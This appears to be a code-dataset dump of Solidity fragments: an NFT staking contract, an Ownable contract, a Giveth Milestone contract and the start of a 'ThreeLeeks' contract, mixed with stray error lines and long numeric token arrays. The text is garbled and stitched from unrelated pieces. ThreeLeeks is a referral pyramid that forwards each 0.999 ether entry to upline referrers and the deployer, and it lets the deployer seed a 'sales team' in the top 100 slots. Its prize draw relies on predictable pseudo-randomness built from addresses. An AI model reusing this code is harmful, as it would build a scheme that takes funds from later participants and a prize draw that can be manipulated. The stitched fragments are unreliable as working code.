tokenIds.length,
true
)
);
}
function unstakeMultipleDungeons(uint256[] memory tokenIds) public {
require(!stakingPaused, "Staking is currently paused.");
Staker storage staker = userInfo[msg.sender];
for (uint256 i = 0; i < tokenIds.length; i++) {
uint256 tokenId = tokenIds[i];
require(containsElement(staker.stakedDungeons, tokenId), "Not dungeon owner.");
dungeonContract.transferFrom(
address(this),
msg.sender,
tokenId
);
removeDungeonFromStaker(staker, tokenId);
}
if (staker.stakedDungeons.length == 0) { // no more staked dungeons?
staker.dungeonStakedOn = 0; // then we reset the staked on date to 0 (so can be set to block.timestamp when it's staked again)
}
// stop accumulating $DNG rewards on polygon for these dungeons
_sendMessageToChild(
abi.encode(
msg.sender,
uint256(NftType.Dungeon),
tokenIds.length,
false
)
);
}
// Stake a single Dungeon (separate function to optimize for gas)
// @param tokenId The tokenId of the dungeon to stake
function stakeDungeon(uint256 tokenId) external {
require(!stakingPaused, "Staking is currently paused.");
Staker storage staker = userInfo[msg.sender];
staker.stakedDungeons.push(tokenId);
dungeonContract.transferFrom(
msg.sender,
address(this),
tokenId
);
if (staker.dungeonStakedOn == 0) { // set our dungeon staked on once (if they unstake, it resets to zero and will be reset when they stake again)
staker.dungeonStakedOn = block.timestamp;
}
// start accumulating $DNG rewards on polygon
_sendMessageToChild(
abi.encode(
msg.sender,
uint256(NftType.Dungeon),
1,
true
)
);
}
// Unstake a Dungeon
// @param tokenId The tokenId of the dungeon to unstake
function unstakeDungeon(uint256 tokenId) external {
require(!stakingPaused, "Staking is currently paused.");
Staker storage staker = userInfo[msg.sender];
require(containsElement(staker.stakedDungeons, tokenId), "Not dungeon owner.");
dungeonContract.transferFrom(
address(this),
msg.sender,
tokenId
);
removeDungeonFromStaker(staker, tokenId);
if (staker.stakedDungeons.length == 0) { // no more staked dungeons?
staker.dungeonStakedOn = 0; // then we reset the staked on date to 0 (so can be set to block.timestamp when it's staked again)
}
// stop accumulating $DNG rewards on polygon for these dungeons
_sendMessageToChild(
abi.encode(
msg.sender,
uint256(NftType.Dungeon),
1,
false
)
);
}
function stakeMultipleAvatars(uint256[] memory tokenIds) public {
require(!stakingPaused, "Staking currently paused.");
require(tokenIds.length>0, "No tokenIds provided.");
Staker storage staker = userInfo[msg.sender];
if (staker.avatarStakedOn == 0) { // set our avatar staked on once (if they unstake, it resets to zero and will be reset when they stake again)
staker.avatarStakedOn = block.timestamp;
}
for (uint256 i = 0; i < tokenIds.length; i++) {
staker.stakedAvatars.push(tokenIds[i]);
avatarContract.transferFrom(
msg.sender,
address(this),
tokenIds[i]
);
}
// start accumulating $DNG rewards on polygon
_sendMessageToChild(
abi.encode(
msg.sender,
uint256(NftType.Avatar),
tokenIds.length,
true
)
);
}
function unstakeMultipleAvatars(uint256[] memory tokenIds) public {
require(!stakingPaused, "Staking is currently paused.");
Staker storage staker = userInfo[msg.sender];
for (uint256 i = 0; i < tokenIds.length; i++) {
uint256 tokenId = tokenIds[i];
require(containsElement(staker.stakedAvatars, tokenId), "Not avatar owner.");
avatarContract.transferFrom(
address(this),
msg.sender,
tokenId
);
removeAvatarFromStaker(staker, tokenId);
}
if (staker.stakedAvatars.length == 0) { // no more staked avatars?
staker.avatarStakedOn = 0; // then we reset the staked on date to 0 (so can be set to block.timestamp when it's staked again)
}
// stop accumulating $DNG rewards on polygon for these avatars
_sendMessageToChild(
abi.encode(
msg.sender,
uint256(NftType.Avatar),
tokenIds.length,
false
)
);
}
// Stake a single Avatar (separate function to optimize for gas)
// @param tokenId The tokenId of the avatar to stake
function stakeAvatar(uint256 tokenId) external {
require(!stakingPaused, "Staking is currently paused.");
Staker storage staker = userInfo[msg.sender];
staker.stakedAvatars.push(tokenId);
avatarContract.transferFrom(
msg.sender,
address(this),
tokenId
);
if (staker.avatarStakedOn == 0) { // set our avatar staked on once (if they unstake, it resets to zero and will be reset when they stake again)
staker.avatarStakedOn = block.timestamp;
}
// start accumulating $DNG rewards on polygon
_sendMessageToChild(
abi.encode(
msg.sender,
uint256(NftType.Avatar),
1,
true
)
);
}
// Unstake a Avatar
// @param tokenId The tokenId of the avatar to unstake
function unstakeAvatar(uint256 tokenId) external {
require(!stakingPaused, "Staking is currently paused.");
Staker storage staker = userInfo[msg.sender];
require(containsElement(staker.stakedAvatars, tokenId), "Not avatar owner.");
avatarContract.transferFrom(
address(this),
msg.sender,
tokenId
);
removeAvatarFromStaker(staker, tokenId);
if (staker.stakedAvatars.length == 0) { // no more staked avatars?
staker.avatarStakedOn = 0; // then we reset the staked on date to 0 (so can be set to block.timestamp when it's staked again)
}
// stop accumulating $DNG rewards on polygon for these avatars
_sendMessageToChild(
abi.encode(
msg.sender,
uint256(NftType.Avatar),
1,
false
)
);
}
function stakeMultipleQuests(uint256[] memory tokenIds) public {
require(!stakingPaused, "Staking currently paused.");
require(tokenIds.length>0, "No tokenIds provided.");
Staker storage staker = userInfo[msg.sender];
if (staker.questStakedOn == 0) { // set our quest staked on once (if they unstake, it resets to zero and will be reset when they stake again)
staker.questStakedOn = block.timestamp;
}
for (uint256 i = 0; i < tokenIds.length; i++) {
staker.stakedQuests.push(tokenIds[i]);
questContract.transferFrom(
msg.sender,
address(this),
tokenIds[i]
);
}
// start accumulating $DNG rewards on polygon
_sendMessageToChild(
abi.encode(
msg.sender,
uint256(NftType.Quest),
tokenIds.length,
true
)
);
}
function unstakeMultipleQuests(uint256[] memory tokenIds) public {
require(!stakingPaused, "Staking is currently paused.");
Staker storage staker = userInfo[msg.sender];
for (uint256 i = 0; i < tokenIds.length; i++) {
uint256 tokenId = tokenIds[i];
require(containsElement(staker.stakedQuests, tokenId), "Not quest owner.");
questContract.transferFrom(
address(this),
msg.sender,
tokenId
);
removeQuestFromStaker(staker, tokenId);
}
if (staker.stakedQuests.length == 0) { // no more staked quests?
staker.questStakedOn = 0; // then we reset the staked on date to 0 (so can be set to block.timestamp when it's staked again)
}
// stop accumulating $DNG rewards on polygon for these quests
_sendMessageToChild(
abi.encode(
msg.sender,
uint256(NftType.Quest),
tokenIds.length,
false
)
);
}
// Stake a single Quest (separate function to optimize for gas)
// @param tokenId The tokenId of the quest to stake
function stakeQuest(uint256 tokenId) external {
require(!stakingPaused, "Staking is currently paused.");
Staker storage staker = userInfo[msg.sender];
staker.stakedQuests.push(tokenId);
questContract.transferFrom(
msg.sender,
address(this),
tokenId
);
if (staker.questStakedOn == 0) { // set our quest staked on once (if they unstake, it resets to zero and will be reset when they stake again)
staker.questStakedOn = block.timestamp;
}
// start accumulating $DNG rewards on polygon
_sendMessageToChild(
abi.encode(
msg.sender,
uint256(NftType.Quest),
1,
true
)
);
}
// Unstake a Quest
// @param tokenId The tokenId of the quest to unstake
function unstakeQuest(uint256 tokenId) external {
require(!stakingPaused, "Staking is currently paused.");
Staker storage staker = userInfo[msg.sender];
require(containsElement(staker.stakedQuests, tokenId), "Not quest owner.");
questContract.transferFrom(
address(this),
msg.sender,
tokenId
);
removeQuestFromStaker(staker, tokenId);
if (staker.stakedQuests.length == 0) { // no more staked quests?
staker.questStakedOn = 0; // then we reset the staked on date to 0 (so can be set to block.timestamp when it's staked again)
}
// stop accumulating $DNG rewards on polygon for these quests
_sendMessageToChild(
abi.encode(
msg.sender,
uint256(NftType.Quest),
1,
false
)
);
}
function removeDungeonFromStaker(Staker storage staker, uint256 tokenId) private {
uint256[] memory stakedDungeons = staker.stakedDungeons;
uint256 index;
for (uint256 j; j < stakedDungeons.length; j++) {
if (stakedDungeons[j] == tokenId) index = j;
}
if (stakedDungeons[index] == tokenId) {
staker.stakedDungeons[index] = stakedDungeons[
staker.stakedDungeons.length - 1
];
staker.stakedDungeons.pop();
}
}
function removeAvatarFromStaker(Staker storage staker, uint256 tokenId) private {
uint256[] memory stakedAvatars = staker.stakedAvatars;
uint256 index;
for (uint256 j; j < stakedAvatars.length; j++) {
if (stakedAvatars[j] == tokenId) index = j;
}
if (stakedAvatars[index] == tokenId) {
staker.stakedAvatars[index] = stakedAvatars[
staker.stakedAvatars.length - 1
];
staker.stakedAvatars.pop();
}
}
function removeQuestFromStaker(Staker storage staker, uint256 tokenId) private {
uint256[] memory stakedQuests = staker.stakedQuests;
uint256 index;
for (uint256 j; j < stakedQuests.length; j++) {
if (stakedQuests[j] == tokenId) index = j;
}
if (stakedQuests[index] == tokenId) {
staker.stakedQuests[index] = stakedQuests[
staker.stakedQuests.length - 1
];
staker.stakedQuests.pop();
}
}
function _processMessageFromChild(bytes memory message) internal override {
// we don't process any messages from the child chain (Polygon)
}
function containsElement(uint[] memory elements, uint tokenId) internal pure returns (bool) {
for (uint256 i = 0; i < elements.length; i++) {
if(elements[i] == tokenId) return true;
}
return false;
}
/**
* Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 id,
bytes calldata data
) external pure returns (bytes4) {
return ERC721TokenReceiver.onERC721Received.selector;
}
}
| ERROR: type should be string, got " https:github.com/m1guelpf/erc721-drop/blob/main/src/LilOwnable.sol" |
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(_owner == msg.sender);
_;
}
constructor() {
_owner = msg.sender;
}
function owner() external view returns (address) {
return _owner;
}
function transferOwnership(address _newOwner) external {
if (msg.sender != _owner) revert NotOwner();
_owner = _newOwner;
}
function renounceOwnership() public {
if (msg.sender != _owner) revert NotOwner();
_owner = address(0);
}
function supportsInterface(bytes4 interfaceId)
public
pure
virtual
returns (bool)
{
}
}
| 15,218,532 |
[
1,
4528,
30,
6662,
18,
832,
19,
81,
21,
6891,
1992,
74,
19,
12610,
27,
5340,
17,
7285,
19,
10721,
19,
5254,
19,
4816,
19,
48,
330,
5460,
429,
18,
18281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
17801,
6835,
14223,
6914,
288,
203,
565,
1758,
2713,
389,
8443,
31,
203,
203,
565,
871,
14223,
9646,
5310,
1429,
4193,
12,
203,
3639,
1758,
8808,
2416,
5541,
16,
203,
3639,
1758,
8808,
394,
5541,
203,
565,
11272,
203,
203,
203,
203,
565,
9606,
1338,
5541,
1435,
288,
203,
3639,
2583,
24899,
8443,
422,
1234,
18,
15330,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
3885,
1435,
288,
203,
3639,
389,
8443,
273,
1234,
18,
15330,
31,
203,
565,
289,
203,
203,
565,
445,
3410,
1435,
3903,
1476,
1135,
261,
2867,
13,
288,
203,
3639,
327,
389,
8443,
31,
203,
565,
289,
203,
203,
565,
445,
7412,
5460,
12565,
12,
2867,
389,
2704,
5541,
13,
3903,
288,
203,
3639,
309,
261,
3576,
18,
15330,
480,
389,
8443,
13,
15226,
2288,
5541,
5621,
203,
203,
3639,
389,
8443,
273,
389,
2704,
5541,
31,
203,
565,
289,
203,
203,
565,
445,
1654,
8386,
5460,
12565,
1435,
1071,
288,
203,
3639,
309,
261,
3576,
18,
15330,
480,
389,
8443,
13,
15226,
2288,
5541,
5621,
203,
203,
3639,
389,
8443,
273,
1758,
12,
20,
1769,
203,
565,
289,
203,
203,
565,
445,
6146,
1358,
12,
3890,
24,
1560,
548,
13,
203,
3639,
1071,
203,
3639,
16618,
203,
3639,
5024,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.4.0 <0.6.0;
/*
Copyright 2019 RJ Ewing <[email protected]>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
import "giveth-liquidpledging/contracts/LiquidPledging.sol";
import "@aragon/os/contracts/apps/AragonApp.sol";
/// @title Milestone
/// @author RJ Ewing<[email protected]>
/// @notice The Milestone contract is an abstract plugin contract for liquidPledging,
///
/// This contract provides the base functionality
///
/// 1. The admin can cancel the milestone, update the conditions the milestone accepts transfers
/// and send a tx as the milestone.
/// 2. The reviewer can cancel the milestone.
/// 3. The recipient role will receive the pledge's owned by this milestone.
contract Milestone is AragonApp {
uint internal constant TO_OWNER = 256;
uint internal constant TO_INTENDEDPROJECT = 511;
string internal constant ERROR_WITHDRAWAL_STATE = "INVALID_WITHDRAWAL_STATE";
string internal constant ERROR_ONLY_REVIEWER = "ONLY_REVIEWER";
string internal constant ERROR_NO_REVIEWER = "NO_REVIEWER";
address public constant ANY_TOKEN = address(-1);
enum MilestoneState { ACTIVE, NEEDS_REVIEW, COMPLETED }
LiquidPledging public liquidPledging;
uint64 public idProject;
address public reviewer;
address public manager;
address public acceptedToken;
MilestoneState public state = MilestoneState.ACTIVE;
mapping (address => uint256) public received;
// @notice After marking complete, and after this timeout, the recipient can withdraw the money
// even if the milestone was not marked as complete by the reviewer.
uint public reviewTimeoutSeconds;
uint public reviewTimeout;
event RequestReview(address indexed liquidPledging, uint64 indexed idProject);
event RejectCompleted(address indexed liquidPledging, uint64 indexed idProject);
event ApproveCompleted(address indexed liquidPledging, uint64 indexed idProject);
event ReviewerChanged(address indexed liquidPledging, uint64 indexed idProject, address reviewer);
modifier onlyReviewer() {
require(msg.sender == reviewer, ERROR_ONLY_REVIEWER);
_;
}
modifier hasReviewer() {
require(reviewer != address(0), ERROR_NO_REVIEWER);
_;
}
//== external
function isCanceled() public constant returns (bool) {
return liquidPledging.isProjectCanceled(idProject);
}
// @notice Milestone manager can request to mark a milestone as completed
// When he does, the timeout is initiated. So if the reviewer doesn't
// handle the request in time, the recipient can withdraw the funds
function requestReview() isInitialized hasReviewer external {
require(_canRequestReview());
require(!isCanceled());
require(state == MilestoneState.ACTIVE);
// start the review timeout
reviewTimeout = now + reviewTimeoutSeconds;
state = MilestoneState.NEEDS_REVIEW;
emit RequestReview(liquidPledging, idProject);
}
// @notice The reviewer can reject a completion request from the milestone manager
// When he does, the timeout is reset.
function rejectCompleted() isInitialized onlyReviewer external {
require(!isCanceled());
require(state == MilestoneState.NEEDS_REVIEW);
// reset
reviewTimeout = 0;
state = MilestoneState.ACTIVE;
emit RejectCompleted(liquidPledging, idProject);
}
// @notice The reviewer can approve a completion request from the milestone manager
// When he does, the milestone's state is set to completed and the funds can be
// withdrawn by the recipient.
function approveCompleted() isInitialized onlyReviewer external {
require(!isCanceled());
require(state == MilestoneState.NEEDS_REVIEW);
state = MilestoneState.COMPLETED;
emit ApproveCompleted(liquidPledging, idProject);
}
// @notice The reviewer and the milestone manager can cancel a milestone.
function cancelMilestone() isInitialized external {
require(msg.sender == manager || msg.sender == reviewer);
require(_canCancel());
liquidPledging.cancelProject(idProject);
}
// @notice Only the current reviewer can change the reviewer.
function changeReviewer(address newReviewer) isInitialized onlyReviewer external {
reviewer = newReviewer;
emit ReviewerChanged(liquidPledging, idProject, newReviewer);
}
/// @dev this is called by liquidPledging before every transfer to and from
/// a pledgeAdmin that has this contract as its plugin
/// @dev see ILiquidPledgingPlugin interface for details about context param
function beforeTransfer(
uint64 pledgeManager,
uint64 pledgeFrom,
uint64 pledgeTo,
uint64 context,
address token,
uint amount
)
isInitialized
external
returns (uint maxAllowed)
{
require(msg.sender == address(liquidPledging));
// token check
if (acceptedToken != ANY_TOKEN && token != acceptedToken) {
return 0;
}
return amount;
}
function update(
string newName,
string newUrl,
uint64 newCommitTime
)
isInitialized
external
{
require(msg.sender == manager);
liquidPledging.updateProject(
idProject,
address(this),
newName,
newUrl,
newCommitTime
);
}
/**
* @dev By default, AragonApp will allow anyone to call transferToVault
* We need to blacklist the `acceptedToken`
* @param token Token address that would be recovered
* @return bool whether the app allows the recovery
*/
function allowRecoverability(address token) public view returns (bool) {
return acceptedToken != ANY_TOKEN && token != acceptedToken;
}
function _initialize(
string _name,
string _url,
uint64 _parentProject,
address _reviewer,
address _manager,
uint _reviewTimeoutSeconds,
address _acceptedToken,
address _liquidPledging
) internal
{
require(_manager != address(0));
require(_liquidPledging != address(0));
initialized();
liquidPledging = LiquidPledging(_liquidPledging);
idProject = liquidPledging.addProject(
_name,
_url,
address(this),
_parentProject,
0,
ILiquidPledgingPlugin(this)
);
reviewer = _reviewer;
manager = _manager;
reviewTimeoutSeconds = _reviewTimeoutSeconds;
acceptedToken = _acceptedToken;
}
function _isValidWithdrawState() internal returns(bool) {
if (reviewer == address(0)) {
return true;
}
// check reviewTimeout if not already COMPLETED
if (state != MilestoneState.COMPLETED && reviewTimeout > 0 && now >= reviewTimeout) {
state = MilestoneState.COMPLETED;
}
return state == MilestoneState.COMPLETED;
}
function _canRequestReview() internal view returns(bool);
function _canCancel() internal view returns(bool);
}
|
@notice The reviewer can approve a completion request from the milestone manager When he does, the milestone's state is set to completed and the funds can be withdrawn by the recipient.
|
function approveCompleted() isInitialized onlyReviewer external {
require(!isCanceled());
require(state == MilestoneState.NEEDS_REVIEW);
state = MilestoneState.COMPLETED;
emit ApproveCompleted(liquidPledging, idProject);
}
| 2,509,732 |
[
1,
1986,
10725,
264,
848,
6617,
537,
279,
8364,
590,
628,
326,
28664,
3301,
5203,
3904,
1552,
16,
326,
28664,
1807,
919,
353,
444,
358,
5951,
471,
326,
284,
19156,
848,
506,
598,
9446,
82,
635,
326,
8027,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
6617,
537,
9556,
1435,
25359,
1338,
9159,
264,
3903,
288,
203,
3639,
2583,
12,
5,
291,
23163,
10663,
203,
3639,
2583,
12,
2019,
422,
490,
18270,
1119,
18,
5407,
2056,
55,
67,
862,
12145,
1769,
203,
203,
3639,
919,
273,
490,
18270,
1119,
18,
15795,
40,
31,
203,
203,
3639,
3626,
1716,
685,
537,
9556,
12,
549,
26595,
52,
1259,
1998,
16,
612,
4109,
1769,
1850,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.4.22 <0.6.0;
contract ThreeLeeks {
struct STR_NODE
{
address payable addr;
uint32 ID;
uint32 faNode;//Parent node
uint32 brNode;//Brother Node
uint32 chNode;//Subnode
uint256 Income;//Income earned
uint32 Subordinate;//Total lower series
}
struct PRIZE_RECORD
{
address addr;//Award-winning user address
uint32 NodeNumber;//Node Number of Award-winning User Address
uint256 EthGained;//The amount of bonus awarded
}
//Someone joins the referee who created the event / the number of the person who joined / the time of joining
event HaveAdd(uint32 Recommender,uint32 Number,uint64 Add_Time);
//Execution Award Winner Number/Award Amount/Award Number
event OnReward(uint32 Awardee,uint256 PrizeMoney,uint32 PrizeNumber);
mapping (uint32 => STR_NODE) private Node;//
mapping (uint32 => PRIZE_RECORD)private PrizeRecord;
uint32 NodeIndex;//Current node
uint64 NodeAddTime;//Last time to join
address ContractAddress;
uint160 Random;
uint64 PrizeTime1;
uint64 PrizeTime2;
//////////////////////////////////////////////////////////////
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor (address first_addr) public {
NodeIndex=0;
Node[0]=STR_NODE(msg.sender,0,0,0,0,0,0);
Node[1]=STR_NODE(address(uint160(first_addr)),0,0,0,0,0,0);
Random=uint160(Node[0].addr);
NodeIndex=100;
ContractAddress=address(uint160(address(this)));
}
//The top 100 leeks are sales teams. This function is called by contract deployer to increase or decrease sales staff.
function SetFreeRender(address addr,uint32 Number)public
{
require(msg.sender==Node[0].addr,"Can only be invoked by the deployer");
require(Number>1 && Number <=100,"Even in deployment, only the top 100 data can be modified. The top 100 are sales teams, real players from 101, and the data can not be modified.");
if(Node[Number].addr==address(0))
{
Node[Number].addr=address(uint160(addr));
}
else
{
Node[Number]=STR_NODE(address(uint160(addr)),0,0,0,0,0,0);
}
Node[Number].addr=address(uint160(addr));
}
/* This function injects capital. Recommender is the recommender number of the investor.*/
function CapitalInjection(uint32 Recommender_Number)public payable
{
uint32 index;
uint32 Recommender=unEncryption(Recommender_Number);
require(Recommender>=0 && Recommender<=NodeIndex,"Recommenders do not exist");
if(msg.value!=0.999 ether)
{
msg.sender.transfer(msg.value);
emit HaveAdd(0,0,uint64(now));
return ;
}
NodeAddTime=uint64(now);
NodeIndex+=1;
//Setting Recommenders Up to the Line of Current Investors
Node[NodeIndex]=STR_NODE(msg.sender,NodeIndex,Recommender,0,0,0,0);
if(Node[Recommender].chNode<=0)//If the referee is not offline
{//Offline current investors as referees
Node[Recommender].chNode=NodeIndex;
}
else//If the referee has already been offline
{
index=Node[Recommender].chNode;
while (Node[index].brNode>0)//Lookup until the recommender's child nodes have no siblings
{
index=Node[index].brNode;
}
Node[index].brNode=NodeIndex;//Brothers who set current investors as referees
}
//Up to this point, the connection between the node and the downline has been realized and the transfer has started.
index=Node[NodeIndex].faNode;
if(index<=1)
{
Node[0].addr.transfer(0.44955 ether);
Node[0].Subordinate+=1;
Node[0].Income+=0.44955 ether;
Node[1].addr.transfer(0.44955 ether);
Node[1].Income+=0.44955 ether;
Node[1].Subordinate+=1;
}
else
{
Node[index].addr.transfer(0.34965 ether);//Direct superior extraction 0.999*35%
Node[index].Income+=0.34965 ether;
Node[index].Subordinate+=1;
index=Node[index].faNode;
for (uint8 i=0;i<10;i++)
{
if(index<=1)
{
Node[0].addr.transfer((10-i)*0.0495 ether/2);
Node[0].Subordinate+=1;
Node[0].Income+=(10-i)*0.0495 ether/2;
Node[1].addr.transfer((10-i)*0.0495 ether/2);
Node[1].Subordinate+=1;
Node[1].Income+=(10-i)*0.0495 ether/2;
break;
}
else
{
Node[index].addr.transfer(0.04995 ether);//Indirect superior extraction 0.999*5%
Node[index].Income+=0.04995 ether;
Node[index].Subordinate+=1;
index=Node[index].faNode;//Index points to the parent node
}
}
Node[0].addr.transfer(0.024975 ether);
Node[1].addr.transfer(0.024975 ether);
}
//Incidents involving people
emit HaveAdd(Recommender_Number,NodeIndex,NodeAddTime);
//Generating the cardinality of random numbers
Random=Random/2+uint160(msg.sender)/2;
//Every two hundred people will be awarded a prize, with 9999 Finney as the prize and one first prize.
//4995 Finney, 2 first prize, 2997 Finney, 4 third prize, each 1998 Finney
if(NodeIndex > 1 && NodeIndex % 200 ==0)
{
PrizeTime1=uint64(now);
SendPrize(NodeIndex-uint32(Random % 200),4.995 ether,0);
SendPrize(NodeIndex-uint32(Random/3 % 200),1.4985 ether,1);
SendPrize(NodeIndex-uint32(Random/5 % 200),1.4985 ether,2);
SendPrize(NodeIndex-uint32(Random/7 % 200),0.4995 ether,3);
SendPrize(NodeIndex-uint32(Random/11 % 200),0.4995 ether,4);
SendPrize(NodeIndex-uint32(Random/13 % 200),0.4995 ether,5);
SendPrize(NodeIndex-uint32(Random/17 % 200),0.4995 ether,6);
}
if(NodeIndex>1 && NodeIndex % 20000 ==0)
{
uint256 mon=ContractAddress.balance;
SendPrize(NodeIndex-uint32(Random/19 % 20000),mon/1000*250,7);
SendPrize(NodeIndex-uint32(Random/23 % 20000),mon/1000*75,8);
SendPrize(NodeIndex-uint32(Random/29 % 20000),mon/1000*75,9);
SendPrize(NodeIndex-uint32(Random/31 % 20000),mon/1000*25,10);
SendPrize(NodeIndex-uint32(Random/37 % 20000),mon/1000*25,11);
SendPrize(NodeIndex-uint32(Random/41 % 20000),mon/1000*25 ,12);
SendPrize(NodeIndex-uint32(Random/43 % 20000),mon/1000*25 ,13);
}
}
//This function is responsible for awarding prizes.
function SendPrize(uint32 index,uint256 money,uint32 prize_index) private
{
require(index>=0 && index<=NodeIndex);
require(money>0 && money<ContractAddress.balance);
require(prize_index>=0 && prize_index<=13);
Node[index].addr.transfer(money);
PrizeRecord[prize_index].addr=Node[index].addr;
PrizeRecord[prize_index].NodeNumber=index;
PrizeRecord[prize_index].EthGained=money;
}
//This function returns the total amount of money in the prize pool
function GetPoolOfFunds()public view returns(uint256)
{
return ContractAddress.balance;
}
//This function returns its recommended address
function GetMyIndex(address my_addr) public view returns(uint32)
{
for(uint32 i=0 ;i<=NodeIndex;i++)
{ if(my_addr==Node[i].addr)
{
return Encryption(i);
}
}
return 0;
}
//Return my total income
function GetMyIncome(uint32 my_num) public view returns(uint256)
{
uint32 index=unEncryption(my_num);
require(index>=0 && index<NodeIndex,"Incorrect recommended address entered");
return Node[index].Income;
}
//Return to my referee
function GetMyRecommend(uint32 my_num) public view returns(uint32)
{
uint32 index=unEncryption(my_num);
require(index>=0 && index<NodeIndex);
return Encryption(Node[index].faNode);
}
//Return to the total number of my subordinates
function GetMySubordinateNumber(uint32 my_num)public view returns(uint32)
{
uint32 index=unEncryption(my_num);
require(index>=0 && index<NodeIndex);
return Node[index].Subordinate;
}
//Return direct lower series
function GetMyRecommendNumber(uint32 my_number)public view returns(uint32)
{
uint32 index;
uint32 my_num=unEncryption(my_number);
